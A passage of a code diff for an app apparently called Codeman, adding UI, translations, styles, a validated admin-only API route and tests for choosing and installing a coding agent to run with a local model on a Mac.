'{cli} is not on this Mac yet. Codeman installs it with this command:':
'此 Mac 上尚未安装 {cli}。{name} 会用下面这条命令安装它:',
'{cli} needs a setup of its own. Set it up from the Run menu, then start a session with it here.':
'{cli} 需要单独设置。请先在"运行"菜单中完成设置,然后就可以在这里用它开始会话。',
'Remove the local model from this Mac?': '要从此 Mac 移除本地模型吗?',
'Also delete the downloaded model': '同时删除已下载的模型',
'The coding agent stays installed.': '编程智能体会保留,不会被卸载。',
@@ -1628,8 +1640,8 @@
'此 Mac 目前只使用 {model}。请先在本地模型窗口中切换模型。',
'This model is not one of the checked models on this Mac.': '该模型不在此 Mac 上已检查的模型之列。',
'This model is not on this Mac.': '此 Mac 上没有这个模型。',
'{cli} is not installed on this Mac. Install this model again to choose a coding agent.':
'此 Mac 上没有安装 {cli}。请重新安装此模型,以便选择编程智能体。',
'{cli} is not installed on this Mac. Install a coding agent in the local model window first.':
'此 Mac 上没有安装 {cli}。请先在本地模型窗口中安装一个编程智能体。',
'{model} could not be deleted from this Mac.': '无法从此 Mac 删除 {model}。',
// What the endpoint routes answer for the record of the model on this Mac (shown as a toast).
'This endpoint belongs to the model Codeman runs on this Mac. Change or remove it in the local model window.':
+252 -12
View File
@@ -13,6 +13,7 @@
* POST /api/local-model/runtime { action: 'start' | 'stop', newPort? }
* DELETE /api/local-model { removeModel }
* DELETE /api/local-model/models { modelId }
* POST /api/local-model/agent { cli }
*
* ## Three surfaces, one window
*
@@ -35,9 +36,11 @@
* | `progress` | installing: the download bar, the steps, Cancel |
* | `paused` | paused (Cancel or a server restart): Continue or Remove |
* | `failed` | failed: the server's sentence and the ONE action that helps |
* | `installed` | installed: running or stopped, the models on this Mac with their |
* | | size on disk (Use, Delete), Add a model, Start a session, |
* | | Stop/Start, Remove (right after an install: Start a session alone) |
* | `installed` | installed: running or stopped, the coding agents a session can be |
* | | started with, the models on this Mac with their size on disk |
* | | (Use, Delete), Add a model, Start a session (or "Install <agent>" |
* | | for one that is not on this Mac), Stop/Start, Remove (right after |
* | | an install: Start a session alone) |
* | `none` | idle and nothing fits: the hardware line, the reason, Close |
*
* The memory bar is the one strong element: the memory this Mac can give a model, filled to
@@ -61,6 +64,16 @@
* models (`install.store`) and "Add a model". A row has a button only for an action the server
* lists for THAT row (`row.actions`).
*
* The coding agent is chosen per session (`install.harnesses`): on the installed screen every
* agent the model can be run with is a chip of one radio group, the server's default first.
* The main button follows the selected chip: "Start a session" for one that can be started,
* "Install <agent>" for one that is not on this Mac (its literal install command is on screen
* above the button, so the click is the consent), and nothing to press for one that needs a
* setup of its own. An install of an agent runs beside the model: the state stays `installed`,
* and another agent can be started meanwhile. The device remembers the agent a session was
* last STARTED with, and each opening of the window selects it while it can be started (a
* chip that was only looked at is not a choice, or the window would reopen on "Install").
*
* ## Polling
*
* The window asks the GET once a second WHILE IT IS OPEN, and never otherwise (there is no SSE
@@ -115,6 +128,9 @@ const LOCAL_MODEL_POLL_MS = 1000;
/** What `confirmDelete` holds while the question is about everything an earlier Remove kept. No model id has a space. */
const LOCAL_MODEL_STORE_KEY = 'the store';
/** Where this device remembers the coding agent last chosen for a session (a CLI id, as data). */
const LOCAL_MODEL_AGENT_STORAGE_KEY = 'codeman-local-model-agent';
/** The tag kinds of the server's pick (`CandidateTagKind`): the ones drawn in the accent colour. */
const LOCAL_MODEL_ACCENT_TAGS = ['tested', 'best', 'best-tight'];
@@ -240,6 +256,39 @@ function localModelLibraryTag(row) {
return { text: localModelT('Not checked'), kind: 'unverified' };
}
/** The rows of `install.harnesses`: the coding agents the model in use can be run with. A payload without the list has none. */
function localModelAgents(install) {
return (Array.isArray(install.harnesses) ? install.harnesses : []).filter(
(row) => row && typeof row.cli === 'string' && row.cli
);
}
/** What an agent chip says beside the name, and the tag class that colours it. Nothing for one that can be started. */
function localModelAgentTag(row) {
if (row.status === 'installing') return { text: localModelT('Installing'), kind: 'tight' };
if (row.status === 'installable') return { text: localModelT('Not installed'), kind: 'unverified' };
if (row.status === 'setup-needed') return { text: localModelT('Needs setup'), kind: 'unverified' };
return null;
}
/** The coding agent this device chose last, or '' (storage can be empty or refused: the default agent stands then). */
function localModelStoredAgent() {
try {
const value = window.localStorage.getItem(LOCAL_MODEL_AGENT_STORAGE_KEY);
return typeof value === 'string' ? value : '';
} catch {
return '';
}
}
function localModelStoreAgent(cli) {
try {
window.localStorage.setItem(LOCAL_MODEL_AGENT_STORAGE_KEY, String(cli));
} catch {
/* a convenience only */
}
}
/**
* The coding agents a row can run with. A payload without the list means the one agent of the
* row's flat fields.
@@ -551,6 +600,11 @@ Object.assign(CodemanApp.prototype, {
modelId: null,
/** The selected coding agent (a CLI id, as data), or null for the row's first. */
cli: null,
/**
* The coding agent chosen for a session on the installed model (a CLI id, as data), or
* null: what this device chose last, else the server's default.
*/
agent: null,
/** A verb is in flight: every button waits. */
busy: false,
/** What the last verb answered when it was refused. */
@@ -587,6 +641,26 @@ Object.assign(CodemanApp.prototype, {
return { candidates, candidate, harnesses, harness };
},
/**
* The coding agents of the installed model and the one a session would start with: the chip
* selected in this opening of the window, else the agent this device last STARTED a session
* with while it can still be started, else the server's default (its first row). A
* remembered agent that is not startable now never wins: the window would open on "Install"
* or on nothing to press, with "Start a session" out of sight. `row` is null when the server
* lists none.
*/
_localModelAgent() {
const ui = this._localModelWindowState();
const rows = localModelAgents(localModelInstall(this._localModelStatus));
const stored = ui.agent ? '' : localModelStoredAgent();
const row =
rows.find((entry) => entry.cli === ui.agent) ||
rows.find((entry) => entry.cli === stored && entry.status === 'ready') ||
rows.find((entry) => entry.default === true) ||
rows[0];
return { rows, row: row || null };
},
/** Which screen the window shows, see the table in @fileoverview. */
_localModelScreen() {
const ui = this._localModelWindowState();
@@ -622,6 +696,9 @@ Object.assign(CodemanApp.prototype, {
busy: false,
notice: null,
expected: null,
// A chip that was only looked at in an earlier opening is not a choice: each opening
// starts from the agent last STARTED on this device, else the server's default.
agent: null,
confirmRemove: false,
confirmDelete: null,
justInstalled: false,
@@ -852,6 +929,28 @@ Object.assign(CodemanApp.prototype, {
if (asked) this._focusLocalModelWindow(asked === LOCAL_MODEL_STORE_KEY ? 'store-delete' : `delete:${asked}`);
},
/**
* Select a coding agent for the next session. Nothing is sent, and nothing is remembered
* yet: a chip can be selected just to see what installing it would run. The device
* remembers an agent once a session was started with it.
*/
selectLocalModelAgent(cli) {
const ui = this._localModelWindowState();
if (ui.busy || typeof cli !== 'string' || !cli) return;
ui.agent = cli;
ui.notice = null;
this.renderLocalModel();
},
/**
* "Install <agent>": the consent click for the command shown above the button. The server
* runs its own stock command for that agent, never text from here, and answers at once: the
* install goes on beside the model and the next polls say how it stands.
*/
installLocalModelAgent(cli) {
return this._localModelVerb('POST', '/api/local-model/agent', { cli });
},
cancelLocalModelInstall() {
return this._localModelVerb('POST', '/api/local-model/cancel');
},
@@ -880,20 +979,24 @@ Object.assign(CodemanApp.prototype, {
},
/**
* "Start a session": a session on the saved connection with the coding agent of the install.
* "Start a session": a session on the saved connection with a coding agent: `cli` (the
* chip that is selected), or without one the server's default agent (`install.cli`).
* The page's own copies are stale right after an install (the settings flag was switched on
* by the server and the agent may have been installed a moment ago), so both are read again
* before the existing launcher runs. Both values are the payload's; no id is compared.
*/
async startLocalModelSession() {
async startLocalModelSession(cli) {
const install = localModelInstall(this._localModelStatus);
if (typeof install.cli !== 'string' || typeof install.endpointId !== 'string') return;
const agent = typeof cli === 'string' && cli ? cli : install.cli;
if (typeof agent !== 'string' || typeof install.endpointId !== 'string') return;
// The agent a session was started with is the one the next opening selects.
if (typeof cli === 'string' && cli) localModelStoreAgent(cli);
const settingsOpen = document.getElementById('appSettingsModal')?.classList.contains('active');
this.closeLocalModelWindow();
if (settingsOpen) this.closeAppSettings?.();
await this.loadAppSettingsFromServer?.();
await this.loadCliListForSettings?.();
await this.selectCustomModelEntry?.(install.cli, install.endpointId);
await this.selectCustomModelEntry?.(agent, install.endpointId);
},
// ═══════════════════════════════════════════════════════════════
@@ -1502,6 +1605,107 @@ Object.assign(CodemanApp.prototype, {
return box;
},
/**
* The coding agents a session on the installed model can be started with
* (`install.harnesses`): one chip per agent, a radio group, and under it one line about the
* selected one. For an agent that is not on this Mac that line is the literal install command
* (the main button then reads "Install <agent>"), and after a failed install the server's
* sentence with the installer's last words folded away. `null` when the server lists none.
*/
_localModelAgentsEl() {
const ui = this._localModelWindowState();
const { rows, row: chosen } = this._localModelAgent();
if (!rows.length || !chosen) return null;
const section = localModelEl('div', 'lm-agents');
const label = localModelEl('p', 'lm-agents-label', localModelT('Start a session with'));
label.id = 'localModelAgentsLabel';
section.appendChild(label);
const group = localModelEl('div', 'lm-agent-list');
group.setAttribute('role', 'radiogroup');
group.setAttribute('aria-labelledby', 'localModelAgentsLabel');
for (const row of rows) {
const on = row === chosen;
const chip = localModelEl('button', on ? 'lm-agent lm-agent-on' : 'lm-agent');
chip.type = 'button';
chip.setAttribute('role', 'radio');
chip.setAttribute('aria-checked', on ? 'true' : 'false');
// One tab stop for the group: the selected chip.
chip.tabIndex = on ? 0 : -1;
chip.dataset.lmKey = `agent:${row.cli}`;
chip.disabled = ui.busy;
const radio = localModelEl('span', 'lm-radio');
radio.setAttribute('aria-hidden', 'true');
chip.appendChild(radio);
chip.appendChild(localModelEl('span', 'lm-agent-name', String(row.cliLabel || row.cli)));
const tag = localModelAgentTag(row);
if (tag) chip.appendChild(localModelEl('span', `lm-tag lm-tag-${tag.kind}`, tag.text));
chip.addEventListener('click', () => this.selectLocalModelAgent(row.cli));
group.appendChild(chip);
}
group.addEventListener('keydown', (event) => this._onLocalModelAgentKey(event));
section.appendChild(group);
const name = String(chosen.cliLabel || chosen.cli);
const about = localModelEl('div', 'lm-agent-about');
if (chosen.status === 'installable' || chosen.status === 'installing') {
const lead =
chosen.status === 'installing'
? localModelT('Installing {cli}. You can start a session with another agent meanwhile.', { cli: name })
: localModelT('{cli} is not on this Mac yet. Codeman installs it with this command:', { cli: name });
about.appendChild(localModelEl('p', 'lm-aside', lead));
if (chosen.installCommand) about.appendChild(localModelEl('code', 'lm-command', String(chosen.installCommand)));
} else if (chosen.status === 'setup-needed') {
about.appendChild(
localModelEl(
'p',
'lm-aside',
localModelT(
'{cli} needs a setup of its own. Set it up from the Run menu, then start a session with it here.',
{
cli: name,
}
)
)
);
} else if (chosen.slowFirstTurn === true) {
about.appendChild(localModelEl('p', 'lm-aside', localModelT('The first answer can take minutes.')));
}
// The last install of this agent failed: the server's sentence, and what the installer said.
const error = chosen.status === 'installable' ? chosen.error : null;
if (error && error.message) {
const failed = localModelEl('div', 'lm-notice');
failed.setAttribute('role', 'alert');
failed.appendChild(localModelEl('p', 'lm-notice-text', localModelMessage(error.message)));
if (typeof error.detail === 'string' && error.detail) {
const details = localModelEl('details', 'lm-details');
details.appendChild(localModelEl('summary', '', localModelT('Details')));
details.appendChild(localModelEl('pre', 'lm-detail-text', error.detail));
failed.appendChild(details);
}
about.appendChild(failed);
}
if (about.childElementCount) section.appendChild(about);
return section;
},
/** Arrow keys, Home and End move the selection of the agent chips, and the focus with it. */
_onLocalModelAgentKey(event) {
const { rows, row } = this._localModelAgent();
if (!rows.length || !row) return;
const index = rows.indexOf(row);
let next = -1;
if (event.key === 'ArrowDown' || event.key === 'ArrowRight') next = (index + 1) % rows.length;
else if (event.key === 'ArrowUp' || event.key === 'ArrowLeft') next = (index - 1 + rows.length) % rows.length;
else if (event.key === 'Home') next = 0;
else if (event.key === 'End') next = rows.length - 1;
if (next < 0 || next === index) return;
event.preventDefault();
this.selectLocalModelAgent(rows[next].cli);
this._focusLocalModelWindow(`agent:${rows[next].cli}`);
},
/** Arrow keys, Home and End move the selection of the radio group, and the focus with it. */
_onLocalModelListKey(event) {
const selection = this._localModelSelection();
@@ -1969,7 +2173,9 @@ Object.assign(CodemanApp.prototype, {
state.appendChild(localModelEl('span', 'lm-state-text', error ? `${model}, ${running}` : running));
parts.push(state);
const about = [];
if (install.cliLabel) about.push(localModelT('Runs with {cli}.', { cli: String(install.cliLabel) }));
// The agents have their own block below when the server lists them; without the list, the one of the install.
const agent = this._localModelAgent().row;
if (!agent && install.cliLabel) about.push(localModelT('Runs with {cli}.', { cli: String(install.cliLabel) }));
const line = this._localModelFactsLine(install);
if (line) about.push(line);
if (about.length) parts.push(localModelEl('p', 'lm-aside', about.join(' ')));
@@ -1987,6 +2193,11 @@ Object.assign(CodemanApp.prototype, {
// The screen that ends an install has one button. Stop and Remove are for the window
// opened later (or for this one once anything else was said in it).
const ending = ui.justInstalled === true && can('start-session') && !error && !notice;
// Which coding agent the next session runs with. Not on the screen that ends an install
// (that one says one thing: the session starts with the agent that was just chosen), and
// not while something blocks every session.
const agents = ending || error ? null : this._localModelAgentsEl();
if (agents) parts.push(agents);
// Everything that is on this Mac, what it takes on disk, and the way to another model.
// Not on the screen that ends an install: that one says one thing.
const library = ending ? null : this._localModelLibraryEl(install);
@@ -2013,24 +2224,53 @@ Object.assign(CodemanApp.prototype, {
);
}
// Start is the main action of a stopped model, unless the error's own button says so already.
const startIsMain =
can('start') &&
!(error && (error.next === 'start' || error.next === 'other-port')) &&
!can('start-session') &&
!next;
if (can('start') && !(error && (error.next === 'start' || error.next === 'other-port'))) {
buttons.appendChild(
localModelButton(localModelT('Start'), {
key: can('start-session') || next ? 'start' : 'primary',
primary: !can('start-session') && !next,
key: startIsMain ? 'primary' : 'start',
primary: startIsMain,
disabled: ui.busy,
onClick: () => void this.setLocalModelRuntime('start'),
})
);
}
if (next) buttons.appendChild(next);
if (can('start-session')) {
// The main button follows the selected coding agent, by what the server offers for it.
const offers = (action) => !!agents && Array.isArray(agent?.actions) && agent.actions.includes(action);
if (agents && agent && agent.status !== 'ready') {
const name = String(agent.cliLabel || agent.cli);
if (offers('install')) {
buttons.appendChild(
localModelButton(localModelT('Install {cli}', { cli: name }), {
// A stopped model's main action is Start: installing an agent is the quiet one then.
key: startIsMain ? 'agent-install' : 'primary',
primary: !next && !startIsMain,
disabled: ui.busy,
onClick: () => void this.installLocalModelAgent(agent.cli),
})
);
} else if (agent.status === 'installing') {
buttons.appendChild(
localModelButton(localModelT('Installing {cli}', { cli: name }), {
key: startIsMain ? 'agent-install' : 'primary',
primary: !next && !startIsMain,
disabled: true,
})
);
}
// An agent that needs a setup of its own has nothing to press: the line above says where.
} else if (agents ? offers('start-session') : can('start-session')) {
buttons.appendChild(
localModelButton(localModelT('Start a session'), {
key: 'primary',
primary: !next,
disabled: ui.busy,
onClick: () => void this.startLocalModelSession(),
onClick: () => void this.startLocalModelSession(agents && agent ? agent.cli : undefined),
})
);
}
+88 -1
View File
@@ -23250,6 +23250,88 @@ html[data-skin='rose-pine-dawn'] {
accent-color: var(--lm-brand);
}
/* ── the coding agents of an installed model ─────────────────────── */
/* One chip per agent a session can be started with, as a radio group: the
selected one in the look of the selected model row, a tag on the ones that
are not on this Mac. Under them, one line about the selected one. */
.lm-agents {
display: flex;
flex-direction: column;
gap: 0.45rem;
}
.lm-agents-label {
font-size: 0.7rem;
color: var(--text-dim);
}
.lm-agent-list {
display: flex;
flex-wrap: wrap;
gap: 0.4rem;
}
.lm-agent {
display: inline-flex;
align-items: center;
gap: 0.45rem;
min-height: 2.1rem;
padding: 0 0.7rem 0 0.6rem;
border: 1px solid var(--border);
border-radius: 9px;
background: transparent;
color: var(--text);
font: inherit;
font-size: 0.8rem;
cursor: pointer;
transition:
background var(--transition-smooth),
border-color var(--transition-smooth);
}
.lm-agent:hover:not(:disabled) {
background: var(--control-bg);
}
.lm-agent:focus-visible {
outline: 2px solid var(--lm-brand);
outline-offset: 1px;
}
.lm-agent:disabled {
cursor: default;
}
.lm-agent-on,
.lm-agent-on:hover:not(:disabled) {
border-color: color-mix(in srgb, var(--lm-brand) 55%, var(--border));
background: linear-gradient(
90deg,
color-mix(in srgb, var(--lm-brand) 17%, transparent),
color-mix(in srgb, var(--lm-brand) 5%, transparent)
);
}
.lm-agent .lm-radio {
flex: none;
}
.lm-agent-on .lm-radio {
border-color: var(--lm-brand);
background: radial-gradient(circle, var(--lm-brand) 0 3px, transparent 3.5px);
}
.lm-agent-name {
font-weight: 600;
white-space: nowrap;
}
.lm-agent-about {
display: flex;
flex-direction: column;
gap: 0.3rem;
}
/* ── the models on this Mac ───────────────────────────────────────── */
/* Name with its context, state, size on disk, and what can be done with the
row. One grid like the chooser's, so the sizes line up down the list. The
@@ -23484,7 +23566,8 @@ html[data-skin='rose-pine-dawn'] {
@media (prefers-reduced-motion: reduce) {
.lm-bar-fill,
.lm-model {
.lm-model,
.lm-agent {
transition: none;
}
}
@@ -23495,6 +23578,10 @@ html[data-skin='rose-pine-dawn'] {
min-height: 2.9rem;
}
.lm-agent {
min-height: 2.6rem;
}
.local-model-window .wt-btn.lm-btn.lm-btn-row {
min-height: 36px;
}
+14 -1
View File
@@ -12,6 +12,7 @@
* | `POST /api/local-model/runtime` | `LocalModelRuntimeRequest` | the install view; 409 |
* | `DELETE /api/local-model` | `LocalModelRemoveRequest` | the install view; 409 |
* | `DELETE /api/local-model/models` | `LocalModelDeleteRequest` | the install view; 400, 409, 500 |
* | `POST /api/local-model/agent` | `LocalModelAgentRequest` | the install view; 400, 409 |
*
* The GET is built from the hardware probe, the catalogue, the harness facts and the pure
* `recommend()`, plus the `install` object of the install service
@@ -55,6 +56,10 @@
* - `DELETE /api/local-model/models` takes a model NAME in its body, never a path: the schema
* admits only `name:tag`, and the service deletes only a name of its own listing, through
* the runtime.
* - `POST /api/local-model/agent` installs one more coding agent beside an installed model.
* Its body names a CLI id only: the service takes it only when it is a row of the view's
* `harnesses` that offers `install`, and runs the compiled stock command, never text from
* the request. It looks at no session: nothing about the model in use changes.
* - Every dependency is injected (`LocalModelRouteDeps`), so a route test spawns nothing and
* does not need a Mac: it passes its own hardware, harness facts and service.
*/
@@ -97,6 +102,7 @@ import {
} from '../../local-model/install-job.js';
import { recommend } from '../../local-model/recommend.js';
import {
LocalModelAgentSchema,
LocalModelDeleteSchema,
LocalModelInstallSchema,
LocalModelRemoveSchema,
@@ -261,7 +267,7 @@ export function registerLocalModelRoutes(
// The measured budget once the runtime reported it, and the runtime download that an
// install would still add: what turns the estimate into the figures of the consent.
const options = await service.recommendOptions();
const install = await service.view();
const install = await service.view({ harnessFacts });
// A row that is already a checked model on this Mac says so: choosing it is a switch.
const recommendation = markLibraryCandidates(
resolved.recommend(hardware, catalog, harnessFacts, options),
@@ -334,4 +340,11 @@ export function registerLocalModelRoutes(
const body = parseBody(LocalModelDeleteSchema, req.body);
return runVerb(reply, () => resolved.service().deleteLibraryModel(body, actorOf(req)));
});
app.post('/api/local-model/agent', async (req, reply): Promise<LocalModelVerbResponse> => {
const denied = adminOnly(req, reply);
if (denied) return denied;
const body = parseBody(LocalModelAgentSchema, req.body);
return runVerb(reply, () => resolved.service().installAgent(body, actorOf(req)));
});
}
+13 -4
View File
@@ -2481,14 +2481,20 @@ const localModelId = z
.max(200)
.regex(/^[a-z0-9][a-z0-9._-]*:[a-z0-9][a-z0-9._-]*$/, 'Invalid model id');
/**
* A coding agent as a CLI registry id. A request-shape check only: the real gate is the
* service's own lookup of the id among the catalogue harnesses it offers right now.
*/
const localModelCli = z
.string()
.max(64)
.regex(/^[a-z0-9][a-z0-9_-]*$/, 'Invalid coding agent id');
/** POST /api/local-model/install: the row the person chose and the size they confirmed. */
export const LocalModelInstallSchema = z
.object({
modelId: localModelId,
cli: z
.string()
.max(64)
.regex(/^[a-z0-9][a-z0-9_-]*$/, 'Invalid coding agent id'),
cli: localModelCli,
context: z.number().int().positive().max(MAX_DISCOVERED_CONTEXT_TOKENS),
acknowledgedBytes: z.number().int().nonnegative().max(Number.MAX_SAFE_INTEGER),
})
@@ -2511,6 +2517,9 @@ export const LocalModelUseSchema = z.object({ modelId: localModelId }).strict();
/** DELETE /api/local-model/models: one model of the store, by its name. Never a path. */
export const LocalModelDeleteSchema = z.object({ modelId: localModelId }).strict();
/** POST /api/local-model/agent: one more coding agent to install beside an installed model. */
export const LocalModelAgentSchema = z.object({ cli: localModelCli }).strict();
/**
* A shell-safe bare word, mirroring `config/cli-registry/schema.ts`'s own `shellToken` —
* duplicated rather than imported, since the REAL safety boundary for anything built from
+284 -6
View File
@@ -156,6 +156,31 @@ const INSTALLED = {
};
const RUNNING = status({ ...INSTALLED, running: true, actions: ['start-session', 'stop', 'remove'] });
const STOPPED = status({ ...INSTALLED, running: false, actions: ['start', 'remove'] });
/** What a 1.51 server lists beside `cli`: the agents the model can be run with, and the models on the Mac. */
const AGENTS = [
{ cli: 'opencode', cliLabel: 'OpenCode', default: true, status: 'ready', readyMark: '┃', actions: ['start-session'] },
{ cli: 'pi', cliLabel: 'Pi', default: false, status: 'ready', actions: ['start-session'] },
{
cli: 'deepseek',
cliLabel: 'DeepSeek',
default: false,
status: 'ready',
readyMark: '❯',
actions: ['start-session'],
},
{ cli: 'claude', cliLabel: 'Claude Code', default: false, status: 'installable', installCommand: 'x', actions: [] },
];
const LIBRARY = [
{ id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B', active: true, verified: true, status: 'ready', sizeGb: '23.1' },
{ id: 'gpt-oss:20b', label: 'GPT-OSS 20B', active: false, verified: true, status: 'ready', sizeGb: '13.8' },
];
const WITH_AGENTS = status({
...INSTALLED,
running: true,
harnesses: AGENTS,
library: LIBRARY,
actions: ['start-session', 'stop', 'remove'],
});
const QUICK_START = JSON.stringify({ success: true, data: { sessionId: SID, casePath: '/tmp/summ' } });
const MATCHED = JSON.stringify({ success: true, data: { wait: { matched: true, timedOut: false, ended: false } } });
const NOT_MATCHED = JSON.stringify({ success: true, data: { wait: { matched: false, timedOut: true, ended: false } } });
@@ -181,6 +206,39 @@ describe.skipIf(!hasJq)('preamble local_model', () => {
modelLabel: 'Qwen3.6 35B-A3B',
},
},
{
name: 'a server that lists them: the agents with their status and mark, and the models on this Mac',
body: WITH_AGENTS,
rc: 0,
expect: {
spawnable: true,
cli: 'opencode',
agents: [
{ cli: 'opencode', cliLabel: 'OpenCode', status: 'ready', default: true, readyMark: '┃' },
{ cli: 'pi', cliLabel: 'Pi', status: 'ready', default: false },
{ cli: 'deepseek', cliLabel: 'DeepSeek', status: 'ready', default: false, readyMark: '❯' },
{ cli: 'claude', cliLabel: 'Claude Code', status: 'installable', default: false },
],
models: [
{ id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B', active: true, status: 'ready', sizeGb: '23.1' },
{ id: 'gpt-oss:20b', label: 'GPT-OSS 20B', active: false, status: 'ready', sizeGb: '13.8' },
],
},
},
{
name: 'installed, but no coding agent that can run it is on this Mac: no-agent, running or stopped',
body: status({
...INSTALLED,
running: false,
harnesses: [
{ cli: 'opencode', cliLabel: 'OpenCode', default: true, status: 'installable', actions: ['install'] },
],
// `start` with no error alone would read as spawnable.
actions: ['start', 'install-agent', 'remove'],
}),
rc: 1,
expect: { spawnable: false, reason: 'no-agent', agents: [{ cli: 'opencode', status: 'installable' }] },
},
{
name: 'an installed model whose runtime is stopped: spawnable once started',
body: STOPPED,
@@ -427,8 +485,8 @@ describe.skipIf(!hasJq)('preamble spawn_worker <name> local', () => {
});
it('refuses a harness it knows no composer mark for, unless LOCAL_READY_MARK names one', () => {
const pi = status({ ...INSTALLED, cli: 'pi', running: true, actions: ['start-session', 'stop', 'remove'] });
const refused = runSkill('spawn_worker summ local', { 'lm-get': pi });
const other = status({ ...INSTALLED, cli: 'omp', running: true, actions: ['start-session', 'stop', 'remove'] });
const refused = runSkill('spawn_worker summ local', { 'lm-get': other });
expect(refused.rc).toBe(1);
expect(refused.stdout).toBe('');
expect(refused.stderr).toMatch(/LOCAL_READY_MARK/);
@@ -436,13 +494,202 @@ describe.skipIf(!hasJq)('preamble spawn_worker <name> local', () => {
const marked = runSkill(
'spawn_worker summ local',
{ 'lm-get': pi, 'quick-start': QUICK_START, 'wait-output': MATCHED },
{ LOCAL_READY_MARK: 'pi-ready' }
{ 'lm-get': other, 'quick-start': QUICK_START, 'wait-output': MATCHED },
{ LOCAL_READY_MARK: 'omp-ready' }
);
expect(marked.rc).toBe(0);
expect(marked.stdout).toBe(`${SID}\n`);
expect(JSON.parse(marked.calls[1].d).mode).toBe('pi');
expect(marked.calls[2].q).toContain('match=pi-ready');
expect(JSON.parse(marked.calls[1].d).mode).toBe('omp');
expect(marked.calls[2].q).toContain('match=omp-ready');
});
describe("local:<agent>: the coding agent is the caller's choice", () => {
const spawn = (kind: string, lm: string = WITH_AGENTS, env: Record<string, string> = {}) =>
runSkill(`spawn_worker summ ${kind}`, { 'lm-get': lm, 'quick-start': QUICK_START, 'wait-output': MATCHED }, env);
it('plain local still starts the default agent, with the mark the server names', () => {
const run = spawn('local');
expect(run.rc).toBe(0);
expect(JSON.parse(run.calls[1].d)).toEqual({
caseName: 'summ',
mode: 'opencode',
parentSessionId: SELF,
customModel: { endpointId: 'local-ollama', modelId: 'qwen3.6:35b-a3b' },
});
expect(run.calls[2].q).toContain('match=┃');
});
it('local:pi starts Pi without trusting the folder, and waits for the end of its startup', () => {
const run = spawn('local:pi');
expect(run.stderr).toBe('');
expect(run.rc).toBe(0);
expect(run.stdout).toBe(`${SID}\n`);
expect(run.calls.map((call) => call.key)).toEqual(['lm-get', 'quick-start', 'wait-output']);
expect(JSON.parse(run.calls[1].d)).toEqual({
caseName: 'summ',
mode: 'pi',
parentSessionId: SELF,
// --no-approve: the task prompt must never answer Pi's trust question.
piConfig: { approveProjectTrust: false },
customModel: { endpointId: 'local-ollama', modelId: 'qwen3.6:35b-a3b' },
});
// Not its composer rule, which is painted before Pi takes Enter.
expect(run.calls[2].q).toContain('match=extended-keys');
expect(run.calls[2].q).not.toContain('match=─');
});
it('local:deepseek starts DeepSeek Harness with the permission posture of the Run button, at its composer glyph', () => {
const run = spawn('local:deepseek');
expect(run.rc).toBe(0);
expect(JSON.parse(run.calls[1].d)).toEqual({
caseName: 'summ',
mode: 'deepseek',
parentSessionId: SELF,
deepSeekConfig: { permissionMode: 'danger-full-access' },
customModel: { endpointId: 'local-ollama', modelId: 'qwen3.6:35b-a3b' },
});
expect(run.calls[2].q).toContain('match=❯');
});
it('a DeepSeek Harness worker that opened its setup guide is deleted, never handed back: its cursor is the mark too', () => {
// dsh-TUI 0.19.0, as the rendered pane reads: the guide, with `❯` on its first step.
const guide = JSON.stringify({
success: true,
data: {
terminalBuffer:
'\u001b[1mWelcome to dsh-TUI\u001b[0m Step 1 of 4\r\n ✗ No DEEPSEEK_API_KEY yet\r\n❯ Sign in to a subscription (OAuth)\r\n',
},
});
const composer = JSON.stringify({
success: true,
data: {
terminalBuffer:
'╭────╮\r\n│ ❯ Say something, or type / for commands…\r\n╰────╯\r\n qwen3.6:35b-a3b · standard\r\n',
},
});
const answers = { 'lm-get': WITH_AGENTS, 'quick-start': QUICK_START, 'wait-output': MATCHED };
const blocked = runSkill('spawn_worker rev local:deepseek', {
...answers,
terminal: guide,
delete: JSON.stringify({ success: true, data: {} }),
});
expect(blocked.rc).toBe(1);
expect(blocked.stdout).toBe('');
expect(blocked.stderr).toMatch(/setup guide/);
expect(blocked.calls.map((call) => `${call.m} ${call.key}`)).toEqual([
'GET lm-get',
'POST quick-start',
'GET wait-output',
'GET terminal',
'DELETE delete',
]);
const ready = runSkill('spawn_worker rev local:deepseek', { ...answers, terminal: composer });
expect(ready.stderr).toBe('');
expect(ready.rc).toBe(0);
expect(ready.stdout).toBe(`${SID}\n`);
// The same look for a DeepSeek worker that is not on the local model.
const cloud = runSkill('spawn_worker rev deepseek', {
'quick-start': QUICK_START,
'wait-output': MATCHED,
terminal: guide,
delete: JSON.stringify({ success: true, data: {} }),
});
expect(cloud.rc).toBe(1);
expect(cloud.stdout).toBe('');
expect(cloud.stderr).toMatch(/setup guide/);
expect(cloud.calls.map((call) => call.key)).toEqual(['quick-start', 'wait-output', 'terminal', 'delete']);
});
it('a mark the server names wins over the one this skill measured, and LOCAL_READY_MARK over both', () => {
const named = status({
...INSTALLED,
running: true,
harnesses: AGENTS.map((agent) => (agent.cli === 'pi' ? { ...agent, readyMark: 'pi-is-up' } : agent)),
actions: ['start-session', 'stop', 'remove'],
});
expect(spawn('local:pi', named).calls[2].q).toContain('match=pi-is-up');
expect(spawn('local:pi', named, { LOCAL_READY_MARK: 'mine' }).calls[2].q).toContain('match=mine');
expect(spawn('local:opencode', WITH_AGENTS, { LOCAL_READY_MARK: 'mine' }).calls[2].q).toContain('match=mine');
});
it('refuses an agent that is not startable, names the ones that are, and starts nothing', () => {
const run = spawn('local:claude');
expect(run.rc).toBe(1);
expect(run.stdout).toBe('');
expect(run.stderr).toContain("'claude' is not startable on this Mac (installable)");
expect(run.stderr).toContain('Startable now: opencode, pi, deepseek');
expect(run.calls.map((call) => call.key)).toEqual(['lm-get']);
});
it('refuses an agent the model cannot be run with at all', () => {
const run = spawn('local:grok');
expect(run.rc).toBe(1);
expect(run.stdout).toBe('');
expect(run.stderr).toContain("cannot be run with 'grok'");
expect(run.stderr).toContain('Startable: opencode, pi, deepseek');
expect(run.calls.map((call) => call.key)).toEqual(['lm-get']);
});
it('a Codeman that lists no agents: its one agent can be named, another cannot', () => {
const same = spawn('local:opencode', RUNNING);
expect(same.rc).toBe(0);
expect(JSON.parse(same.calls[1].d).mode).toBe('opencode');
expect(same.calls[2].q).toContain('match=┃');
const other = spawn('local:pi', RUNNING);
expect(other.rc).toBe(1);
expect(other.stdout).toBe('');
expect(other.stderr).toMatch(/lists one coding agent for the local model, opencode/);
expect(other.calls.map((call) => call.key)).toEqual(['lm-get']);
});
it('with no agent that can be started nothing is spawned, whatever was asked for', () => {
const none = status({
...INSTALLED,
running: true,
